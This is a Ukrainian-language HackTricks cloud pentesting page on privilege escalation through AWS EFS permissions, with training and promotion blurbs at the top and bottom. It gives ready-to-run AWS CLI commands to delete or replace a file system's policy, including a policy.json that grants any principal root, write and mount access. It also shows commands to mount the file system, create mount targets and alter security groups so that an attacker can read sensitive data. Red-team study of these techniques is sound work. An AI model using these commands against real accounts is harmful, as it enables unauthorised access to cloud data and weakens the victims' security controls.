AWS - EFS Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
EFS
Більше інформації про EFS в:
Пам'ятайте, що для монтування EFS вам потрібно бути в підмережі, де EFS відкритий, і мати доступ до нього (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його змонтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб отримати доступ.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
З будь-яким з цих дозволів зловмисник може змінити політику файлової системи, щоб надати вам доступ до неї або просто видалити її, щоб надано доступ за замовчуванням.
Щоб видалити політику:
aws efs delete-file-system-policy \
--file-system-id <value>
Щоб змінити це:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
З цією дозволом зловмисник зможе підключити EFS. Якщо дозвіл на запис за замовчуванням не надано всім, хто може підключити EFS, він матиме лише доступ для читання.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Додаткові дозволи elasticfilesystem:ClientRootAccess
та elasticfilesystem:ClientWrite
можуть бути використані для запису всередині файлової системи після її монтування та для доступу до цієї файлової системи як root.
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі.
elasticfilesystem:CreateMountTarget
Якщо ви, як зловмисник, знаходитесь у підмережі, де немає цільового монту EFS. Ви можете просто створити один у своїй підмережі з цим привілеєм:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Потенційний вплив: Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі.
elasticfilesystem:ModifyMountTargetSecurityGroups
У сценарії, коли зловмисник виявляє, що EFS має точку монтування у його підмережі, але жодна група безпеки не дозволяє трафік, він може просто змінити це, змінивши вибрані групи безпеки:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Потенційний вплив: Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.